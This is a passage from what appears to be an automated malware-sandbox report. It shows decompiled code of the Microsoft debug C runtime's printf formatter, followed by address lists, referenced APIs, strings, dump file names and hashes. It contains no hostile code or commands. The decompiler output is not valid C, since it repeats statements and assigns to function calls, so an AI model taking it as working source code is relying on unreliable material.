														 *(__ebp - 0x1c) = 2;
													}
													L153:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E00420C00(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00420C00(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E00420C00(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																	 *(__ebp - 0x2b4) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00420C00(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x2b8) = E00420C20(__ebp + 0x14);
															 *(__ebp - 0x2b4) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x2b8) = E00420C20(__ebp + 0x14);
														 *(__ebp - 0x2b4) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L170:
														__ecx =  *(__ebp - 0x2b8);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
														__edx =  *(__ebp - 0x2b4);
														 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
														goto L171;
													} else {
														L166:
														__eflags =  *(__ebp - 0x2b4);
														if(__eflags > 0) {
															goto L170;
														}
														L167:
														if(__eflags < 0) {
															L169:
															 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
															__edx =  *(__ebp - 0x2b4);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
															 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L171:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x2c0);
																	__eax =  *(__ebp - 0x2bc);
																	__eax =  *(__ebp - 0x2bc) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x2bc) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x49;
															 *(__ebp - 4) = __ebp - 0x49;
															while(1) {
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																L182:
																 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																	goto L186;
																}
																L183:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x2bc);
																__edx =  *(__ebp - 0x2c0);
																__eax = E0042F370( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
																 *(__ebp - 0x2ac) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x2bc);
																__ecx =  *(__ebp - 0x2c0);
																 *(__ebp - 0x2c0) = E0042F300( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
																 *(__ebp - 0x2bc) = __edx;
																__eflags =  *(__ebp - 0x2ac) - 0x39;
																if( *(__ebp - 0x2ac) > 0x39) {
																	__edx =  *(__ebp - 0x2ac);
																	__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
																	__eflags = __edx;
																	 *(__ebp - 0x2ac) = __edx;
																}
																__eax =  *(__ebp - 4);
																__cl =  *(__ebp - 0x2ac);
																 *( *(__ebp - 4)) = __cl;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																goto L182;
															}
														}
														L168:
														__eflags =  *(__ebp - 0x2b8);
														if( *(__ebp - 0x2b8) >= 0) {
															goto L170;
														}
														goto L169;
													}
												case 0xe:
													while(1) {
														L190:
														if( *(_t627 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
											}
										case 8:
											L30:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											goto L33;
										case 9:
											L31:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L33;
										case 0xa:
											L29:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xb:
											L28:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L33;
										case 0xc:
											L32:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __ecx;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xd:
											L33:
											goto L218;
									}
								} else {
									if(0 == 0) {
										 *(_t627 - 0x314) = 0;
									} else {
										 *(_t627 - 0x314) = 1;
									}
									_t574 =  *(_t627 - 0x314);
									 *(_t627 - 0x278) =  *(_t627 - 0x314);
									if( *(_t627 - 0x278) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t529 = L0041F590();
										_t630 = _t630 + 0x14;
										if(_t529 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t627 - 0x278) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L0041F530(_t574))) = 0x16;
										E0041F2C0(_t558, _t574, _t625, _t626, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t627 - 0x2f0) = 0xffffffff;
										E0041EA10(_t627 - 0x40);
										_t502 =  *(_t627 - 0x2f0);
										goto L229;
									}
								}
							}
							L219:
							if( *(_t627 - 0x25c) == 0) {
								L222:
								 *(_t627 - 0x334) = 1;
								L223:
								_t561 =  *(_t627 - 0x334);
								 *(_t627 - 0x2e0) =  *(_t627 - 0x334);
								if( *(_t627 - 0x2e0) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t507 = L0041F590();
									_t630 = _t630 + 0x14;
									if(_t507 == 1) {
										asm("int3");
									}
								}
								if( *(_t627 - 0x2e0) != 0) {
									 *(_t627 - 0x300) =  *(_t627 - 0x24c);
									E0041EA10(_t627 - 0x40);
									_t502 =  *(_t627 - 0x300);
								} else {
									 *((intOrPtr*)(L0041F530(_t561))) = 0x16;
									E0041F2C0(_t558, _t561, _t625, _t626, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t627 - 0x2fc) = 0xffffffff;
									E0041EA10(_t627 - 0x40);
									_t502 =  *(_t627 - 0x2fc);
								}
								goto L229;
							}
							L220:
							if( *(_t627 - 0x25c) == 7) {
								goto L222;
							}
							L221:
							 *(_t627 - 0x334) = 0;
							goto L223;
						}
					} else {
						L116:
						 *((intOrPtr*)(L0041F530(__ecx))) = 0x16;
						__eax = E0041F2C0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
						 *(__ebp - 0x2f8) = 0xffffffff;
						__ecx = __ebp - 0x40;
						__eax = E0041EA10(__ecx);
						__eax =  *(__ebp - 0x2f8);
						L229:
						return E004242B0(_t502, _t558,  *(_t627 - 0x48) ^ _t627, _t598, _t625, _t626);
					}
					L118:
					if(( *(_t627 - 0x10) & 0x00000020) == 0) {
						 *( *(_t627 - 0x298)) =  *(_t627 - 0x24c);
					} else {
						 *( *(_t627 - 0x298)) =  *(_t627 - 0x24c);
					}
					 *(_t627 - 0x28) = 1;
					goto L190;
				}
			}

0x00430167
0x00430167
0x00430167
0x0043016b
0x00430170
0x00430173
0x00430180
0x00000000
0x00000000
0x00430186
0x00430186
0x00430188
0x00430196
0x0043018a
0x0043018a
0x0043018a
0x004301a0
0x004301a6
0x004301b3
0x004301b5
0x004301ba
0x004301bc
0x004301c1
0x004301c6
0x004301c8
0x004301cd
0x004301d3
0x004301d5
0x004301d5
0x004301d3
0x004301dd
0x00430225
0x00430712
0x00430712
0x00430716
0x00000000
0x00000000
0x0043071c
0x00430722
0x0043072c
0x00430741
0x00430756
0x00430758
0x0043075c
0x0043075c
0x00430743
0x00430743
0x00430747
0x00430747
0x0043072e
0x0043072e
0x00430732
0x00430732
0x0043072c
0x0043076c
0x00430778
0x0043078e
0x00430793
0x00430793
0x004307a9
0x004307ae
0x004307b7
0x004307bf
0x004307d5
0x004307da
0x004307da
0x004307bf
0x004307e1
0x004308b5
0x004308c8
0x004308cd
0x00000000
0x004307e7
0x004307e7
0x004307eb
0x00000000
0x00000000
0x004307f1
0x004307f1
0x004307fe
0x00430807
0x0043080d
0x0043080d
0x0043081c
0x00430824
0x00000000
0x00000000
0x0043082a
0x00430833
0x00430852
0x00430857
0x0043085a
0x00430869
0x00430876
0x00430881
0x00430881
0x00000000
0x00430881
0x00430878
0x0043087f
0x0043088d
0x004308a6
0x004308ab
0x00000000
0x004308ab
0x00000000
0x0043087f
0x004308b3
0x004308d0
0x004308d7
0x004308df
0x004308f5
0x004308fa
0x004308fa
0x004308df
0x004308d7
0x004308fd
0x00430901
0x00430909
0x0043090e
0x00430911
0x00430911
0x00430918
0x00430918
0x0042f9ef
0x0042f9f5
0x0042fa02
0x0042fa07
0x00000000
0x0042fa1a
0x0042fa24
0x0042fa4b
0x0042fa32
0x0042fa43
0x0042fa43
0x0042fa24
0x0042fa55
0x0042fa5b
0x0042fa67
0x0042fa6a
0x0042fa78
0x0042fa7b
0x0042fa88
0x0042fb2d
0x0042fb33
0x0042fb40
0x00000000
0x00000000
0x0042fb46
0x0042fb4c
0x00000000
0x0042fb53
0x0042fb53
0x0042fb6b
0x0042fb70
0x0042fb73
0x0042fb75
0x0042fc2f
0x0042fc42
0x0042fc47
0x00000000
0x0042fb7b
0x0042fb8e
0x0042fb93
0x0042fb99
0x0042fb9b
0x0042fba4
0x0042fba4
0x0042fba7
0x0042fbb3
0x0042fbb7
0x0042fbbd
0x0042fbbf
0x0042fbc4
0x0042fbc6
0x0042fbcb
0x0042fbd0
0x0042fbd2
0x0042fbd7
0x0042fbda
0x0042fbdd
0x0042fbdf
0x0042fbdf
0x0042fbdd
0x0042fbe0
0x0042fbe0
0x0042fbe7
0x00000000
0x0042fbe9
0x0042fbee
0x0042fc0a
0x0042fc12
0x0042fc1f
0x0042fc24
0x00000000
0x0042fc24
0x0042fbe7
0x00000000
0x0042fc4f
0x0042fc4f
0x0042fc56
0x0042fc59
0x0042fc5c
0x0042fc5f
0x0042fc62
0x0042fc65
0x0042fc68
0x0042fc6f
0x0042fc76
0x00000000
0x00000000
0x0042fc82
0x0042fc82
0x0042fc89
0x0042fc95
0x0042fc98
0x0042fc9e
0x0042fca5
0x00000000
0x00000000
0x0042fca7
0x0042fca7
0x0042fcad
0x0042fcad
0x0042fcb4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042fcf7
0x0042fcf7
0x0042fcfe
0x0042fd01
0x0042fd2b
0x0042fd2e
0x0042fd2e
0x0042fd31
0x0042fd38
0x0042fd38
0x0042fd3c
0x0042fd03
0x0042fd03
0x0042fd0f
0x0042fd12
0x0042fd16
0x0042fd18
0x0042fd1b
0x0042fd1b
0x0042fd1e
0x0042fd24
0x0042fd26
0x0042fd26
0x0042fd29
0x00000000
0x00000000
0x0042fd44
0x0042fd44
0x00000000
0x00000000
0x0042fd50
0x0042fd50
0x0042fd57
0x0042fd5a
0x0042fd7a
0x0042fd7d
0x0042fd7d
0x0042fd87
0x0042fd87
0x0042fd8b
0x0042fd5c
0x0042fd5c
0x0042fd68
0x0042fd6b
0x0042fd6f
0x0042fd71
0x0042fd71
0x0042fd78
0x00000000
0x00000000
0x0042fd93
0x0042fd93
0x0042fd9a
0x0042fda6
0x0042fda9
0x0042fdaf
0x0042fdb6
0x0042fec9
0x00000000
0x0042fec9
0x0042fdbc
0x0042fdbc
0x0042fdc2
0x0042fdc2
0x0042fdc9
0x00000000
0x0042fdff
0x0042fdff
0x0042fe02
0x0042fe05
0x0042fe08
0x0042fe30
0x0042fe30
0x0042fe33
0x0042fe36
0x0042fe39
0x0042fe5e
0x0042fe5e
0x0042fe61
0x0042fe64
0x0042fe67
0x0042fea0
0x0042feb1
0x00000000
0x0042feb1
0x0042fe69
0x0042fe69
0x0042fe6c
0x0042fe6f
0x0042fe72
0x00000000
0x00000000
0x0042fe74
0x0042fe74
0x0042fe77
0x0042fe7a
0x0042fe7d
0x00000000
0x00000000
0x0042fe7f
0x0042fe7f
0x0042fe82
0x0042fe85
0x0042fe88
0x00000000
0x00000000
0x0042fe8a
0x0042fe8a
0x0042fe8d
0x0042fe90
0x0042fe93
0x00000000
0x00000000
0x0042fe95
0x0042fe95
0x0042fe98
0x0042fe9b
0x0042fe9e
0x0042fea2
0x00000000
0x0042fea2
0x00000000
0x0042fe9e
0x0042fe3b
0x0042fe3b
0x0042fe3e
0x0042fe42
0x0042fe45
0x00000000
0x0042fe47
0x0042fe4a
0x0042fe4d
0x0042fe50
0x0042fe53
0x0042fe59
0x00000000
0x0042fe59
0x0042fe45
0x0042fe0a
0x0042fe0a
0x0042fe0d
0x0042fe11
0x0042fe14
0x00000000
0x0042fe16
0x0042fe19
0x0042fe1c
0x0042fe1f
0x0042fe22
0x0042fe28
0x00000000
0x0042fe28
0x00000000
0x0042feb3
0x0042feb6
0x0042feb9
0x00000000
0x00000000
0x0042fdd0
0x0042fdd0
0x0042fdd3
0x0042fdd6
0x0042fdd9
0x0042fdf1
0x0042fdf4
0x0042fdf4
0x0042fdf7
0x0042fddb
0x0042fdde
0x0042fde1
0x0042fde7
0x0042fdec
0x0042fdec
0x00000000
0x00000000
0x0042febe
0x0042febe
0x0042fec1
0x0042fec1
0x0042fec6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042fece
0x0042fece
0x0042fed5
0x0042fee1
0x0042fee4
0x0042feea
0x0042fef1
0x00000000
0x00430712
0x00430712
0x00430712
0x00430712
0x00430716
0x00000000
0x00000000
0x00000000
0x00430716
0x004306cc
0x004306cf
0x004306d2
0x004306d5
0x004306d8
0x004306db
0x004306e1
0x004306e1
0x004306e1
0x004306e9
0x004306ed
0x00000000
0x00000000
0x004306ef
0x004306ef
0x004306f2
0x004306f5
0x004306f5
0x004306fa
0x004306fd
0x00430700
0x00430703
0x00430706
0x00430709
0x0043070c
0x0043070c
0x0043070f
0x00430712
0x00430712
0x00430716
0x00000000
0x00000000
0x00000000
0x00430716
0x00430712
0x0042fef7
0x0042fefd
0x0042fefd
0x0042ff04
0x00000000
0x0043025e
0x0043025e
0x00430265
0x0043026c
0x0043026c
0x0043026f
0x00000000
0x00000000
0x0042ff0b
0x0042ff0e
0x0042ff0e
0x0042ff14
0x0042ff16
0x0042ff19
0x0042ff19
0x0042ff1e
0x0042ff1e
0x00000000
0x00000000
0x0043004b
0x0043004e
0x0043004e
0x00430053
0x00430055
0x00430058
0x00430058
0x0043005e
0x0043005e
0x00000000
0x00000000
0x0043042b
0x0043042b
0x00000000
0x00000000
0x0042ffb5
0x0042ffb5
0x0042ffc1
0x0042ffc7
0x0042ffce
0x0042ffdc
0x0042ffdc
0x0042ffe2
0x0042ffe5
0x0042fff1
0x00430046
0x00000000
0x00430046
0x0042ffd0
0x0042ffd0
0x0042ffd6
0x0042ffda
0x0042fff6
0x0042fff9
0x0042fff9
0x0042ffff
0x00430027
0x0043002e
0x00430034
0x00430037
0x0043003a
0x00430040
0x00430043
0x00430001
0x00430001
0x00430007
0x0043000a
0x0043000d
0x00430013
0x00430016
0x00430019
0x0043001b
0x0043001e
0x0043001e
0x00000000
0x0042ffff
0x00000000
0x00000000
0x00430275
0x00430278
0x0043027b
0x0043027e
0x00430284
0x00430287
0x0043028e
0x00430292
0x0043029d
0x0043029d
0x004302a1
0x004302b8
0x004302b8
0x004302bf
0x004302c1
0x004302c1
0x004302c8
0x004302c8
0x004302cf
0x004302e0
0x004302ef
0x004302f2
0x004302f6
0x0043030c
0x004302f8
0x004302f8
0x004302fb
0x00430301
0x00430307
0x00430307
0x004302f6
0x00430316
0x00430319
0x0043031c
0x0043031f
0x00430322
0x00430325
0x0043032b
0x00430331
0x00430339
0x0043033a
0x0043033d
0x0043033e
0x00430341
0x00430342
0x00430349
0x0043034a
0x0043034d
0x0043034e
0x00430351
0x00430352
0x00430358
0x00430359
0x00430367
0x00430369
0x0043036f
0x0043036f
0x00430375
0x00430377
0x0043037b
0x0043037d
0x00430385
0x00430386
0x00430389
0x0043038a
0x00430398
0x0043039a
0x0043039a
0x0043037b
0x0043039d
0x004303a4
0x004303a7
0x004303ac
0x004303ac
0x004303b2
0x004303b4
0x004303bc
0x004303bd
0x004303c0
0x004303c1
0x004303d0
0x004303d2
0x004303d2
0x004303b2
0x004303d5
0x004303d8
0x004303db
0x004303de
0x004303e3
0x004303e9
0x004303ec
0x004303ef
0x004303ef
0x004303f2
0x004303f2
0x004303f5
0x00430401
0x00430712
0x00430712
0x00430716
0x00000000
0x00000000
0x00000000
0x00430716
0x00000000
0x00430712
0x004302a3
0x004302a3
0x004302aa
0x004302ad
0x00000000
0x00000000
0x004302af
0x004302af
0x00000000
0x004302af
0x00430294
0x00430294
0x00000000
0x00000000
0x0042ff21
0x0042ff24
0x0042ff24
0x0042ff2a
0x0042ff85
0x0042ff8d
0x0042ff94
0x0042ff9a
0x0042ffa0
0x0042ff2c
0x0042ff2c
0x0042ff36
0x0042ff3a
0x0042ff42
0x0042ff49
0x0042ff56
0x0042ff5d
0x0042ff69
0x0042ff6f
0x0042ff76
0x0042ff78
0x0042ff78
0x0042ff7f
0x0042ffa7
0x0042ffad
0x00430712
0x00430712
0x00430716
0x00000000
0x00000000
0x00000000
0x00430716
0x00000000
0x00430409
0x0043040c
0x0043040f
0x00430412
0x00000000
0x00000000
0x00000000
0x00000000
0x0043046c
0x0043046c
0x00430476
0x00430476
0x0043047c
0x0043047e
0x00430481
0x00430481
0x00430487
0x00430487
0x00000000
0x00000000
0x00430424
0x00430424
0x00000000
0x00000000
0x00430061
0x00430061
0x00430065
0x00430073
0x00430076
0x00430067
0x00430067
0x00430067
0x0043007c
0x00430082
0x00430088
0x00430094
0x0043009a
0x0043009a
0x004300a0
0x00430107
0x00430107
0x0043010b
0x0043010d
0x00430113
0x00430113
0x00430116
0x00430119
0x0043011f
0x0043011f
0x0043011f
0x0043012b
0x0043012e
0x00430134
0x00430136
0x00000000
0x00000000
0x00430138
0x00430138
0x0043013e
0x00430141
0x00430143
0x00000000
0x00000000
0x00430145
0x0043014b
0x0043014e
0x0043014e
0x00430156
0x00430156
0x0043015c
0x0043015c
0x0043015f
0x00000000
0x004300a2
0x004300a2
0x004300a2
0x004300a6
0x004300a8
0x004300ad
0x004300ad
0x004300b0
0x004300b7
0x004300ba
0x004300c0
0x004300c0
0x004300c0
0x004300cc
0x004300cf
0x004300d5
0x004300d7
0x00000000
0x00000000
0x004300d9
0x004300d9
0x004300df
0x004300e2
0x004300e4
0x00000000
0x00000000
0x004300e6
0x004300ec
0x004300ef
0x004300ef
0x004300f7
0x004300fd
0x00430100
0x00430102
0x00430162
0x00430712
0x00430712
0x00430716
0x00000000
0x00000000
0x00000000
0x00430716
0x00430712
0x00000000
0x0043041b
0x0043041b
0x00000000
0x00000000
0x00430437
0x00430437
0x00430441
0x00430441
0x0043044b
0x0043044b
0x00430451
0x00430453
0x0043045d
0x0043045d
0x00430460
0x00430463
0x00430463
0x0043048a
0x0043048d
0x0043048d
0x00430492
0x004304b4
0x004304b4
0x004304ba
0x004304dc
0x004304dc
0x004304df
0x00430526
0x00430526
0x00430529
0x00430546
0x0043054a
0x00430552
0x00430552
0x00430554
0x0043055a
0x0043052b
0x0043052b
0x0043052f
0x00430537
0x00430538
0x0043053e
0x0043053e
0x004304e1
0x004304e4
0x004304e4
0x004304e7
0x00430505
0x00430511
0x00430514
0x00430515
0x0043051b
0x004304e9
0x004304e9
0x004304ed
0x004304f5
0x004304f6
0x004304f7
0x004304fd
0x004304fd
0x00430521
0x004304bc
0x004304bc
0x004304c8
0x004304ce
0x004304ce
0x00430494
0x00430494
0x004304a0
0x004304a6
0x004304a6
0x00430563
0x00430563
0x00430566
0x004305a8
0x004305a8
0x004305ae
0x004305b4
0x004305ba
0x00000000
0x00430568
0x00430568
0x00430568
0x0043056f
0x00000000
0x00000000
0x00430571
0x00430571
0x0043057c
0x00430582
0x00430584
0x0043058a
0x0043058d
0x0043058f
0x00430595
0x0043059e
0x004305a3
0x004305c0
0x004305c3
0x004305c3
0x004305c8
0x004305cd
0x004305cd
0x004305d3
0x004305d5
0x004305db
0x004305e1
0x004305e1
0x004305ea
0x004305ea
0x004305d3
0x004305f0
0x004305f4
0x00430602
0x00430605
0x00430608
0x0043060f
0x00430611
0x00430611
0x004305f6
0x004305f6
0x004305f6
0x0043061e
0x0043061e
0x00430624
0x00430626
0x00430626
0x0043062d
0x00430630
0x00430633
0x00430633
0x00430633
0x00430639
0x0043063c
0x0043063f
0x00430641
0x00000000
0x00000000
0x00430643
0x00430649
0x00430649
0x0043064f
0x00000000
0x00000000
0x00430651
0x00430651
0x00430654
0x00430657
0x0043065e
0x00430665
0x0043066d
0x00430673
0x00430676
0x00430679
0x00430680
0x0043068c
0x00430692
0x00430698
0x0043069f
0x004306a1
0x004306a7
0x004306a7
0x004306ad
0x004306ad
0x004306b3
0x004306b6
0x004306bc
0x004306c1
0x004306c4
0x00430633
0x00430633
0x00430639
0x0043063c
0x0043063f
0x00430641
0x00000000
0x00000000
0x00000000
0x00430641
0x00430633
0x00430573
0x00430573
0x0043057a
0x00000000
0x00000000
0x00000000
0x0043057a
0x00000000
0x00430712
0x00430712
0x00430716
0x00000000
0x00000000
0x00000000
0x00430716
0x00000000
0x00000000
0x0042fcd1
0x0042fcd4
0x0042fcd7
0x00000000
0x00000000
0x0042fcdc
0x0042fcdf
0x0042fce4
0x00000000
0x00000000
0x0042fcc6
0x0042fcc6
0x0042fcc9
0x0042fccc
0x00000000
0x00000000
0x0042fcbb
0x0042fcbe
0x0042fcc1
0x00000000
0x00000000
0x0042fce9
0x0042fce9
0x0042fcec
0x0042fcec
0x0042fcef
0x00000000
0x00000000
0x0042fcf2
0x00000000
0x00000000
0x0042fa8e
0x0042fa90
0x0042fa9e
0x0042fa92
0x0042fa92
0x0042fa92
0x0042faa8
0x0042faae
0x0042fabb
0x0042fabd
0x0042fac2
0x0042fac4
0x0042fac9
0x0042face
0x0042fad0
0x0042fad5
0x0042fadb
0x0042fadd
0x0042fadd
0x0042fadb
0x0042fade
0x0042fae5
0x00000000
0x0042fae7
0x0042faec
0x0042fb08
0x0042fb10
0x0042fb1d
0x0042fb22
0x00000000
0x0042fb22
0x0042fae5
0x0042fa88
0x0043091d
0x00430924
0x0043093b
0x0043093b
0x00430945
0x00430945
0x0043094b
0x00430958
0x0043095a
0x0043095f
0x00430961
0x00430966
0x0043096b
0x0043096d
0x00430972
0x00430978
0x0043097a
0x0043097a
0x00430978
0x00430982
0x004309cd
0x004309d6
0x004309db
0x00430984
0x00430989
0x004309a5
0x004309ad
0x004309ba
0x004309bf
0x004309bf
0x00000000
0x00430982
0x00430926
0x0043092d
0x00000000
0x00000000
0x0043092f
0x0043092f
0x00000000
0x0043092f
0x004301df
0x004301df
0x004301e4
0x00430200
0x00430208
0x00430212
0x00430215
0x0043021a
0x004309e1
0x004309ee
0x004309ee
0x0043022a
0x00430230
0x00430250
0x00430232
0x0043023f
0x0043023f
0x00430252
0x00000000
0x00430252

APIs

_get_int_arg.LIBCMTD ref: 0043016B
__get_printf_count_output.LIBCMTD ref: 00430179
__invalid_parameter.LIBCMTD ref: 00430200
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00430215
_write_multi_char.LIBCMTD ref: 0043078E
_write_string.LIBCMTD ref: 004307A9
_write_multi_char.LIBCMTD ref: 004307D5
_wctomb_s.LIBCMTD ref: 00430852

Strings

-, xrefs: 0043072E
_output_s_l, xrefs: 0042FAFE, 004301F6
("'n' format specifier disabled", 0), xrefs: 004301B5, 004301FB
("Incorrect format specifier", 0), xrefs: 0042FABD, 0042FB03
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0042FAC9, 0042FAF9, 004301C1, 004301F1

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2357813345-2363074782
Opcode ID: 6bc7448366b10da27fc0dbbd27893ff7db7d006c8829e66c59f93308e7e49b7b
Instruction ID: 5fefdfc70fe8f78c59725a1e5616697a5c573f43c5861a3f2c275b436d72ccad
Opcode Fuzzy Hash: 6bc7448366b10da27fc0dbbd27893ff7db7d006c8829e66c59f93308e7e49b7b
Instruction Fuzzy Hash: 87A1A170E012289BEF24DF54CC59BEEB7B4AB48304F1092EAE4197B281D7795E84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004214AA, Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 238
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E004214AA(void* __eflags) {
				signed int* _t482;
				signed int _t486;
				void* _t491;
				signed int _t493;
				void* _t501;
				void* _t519;
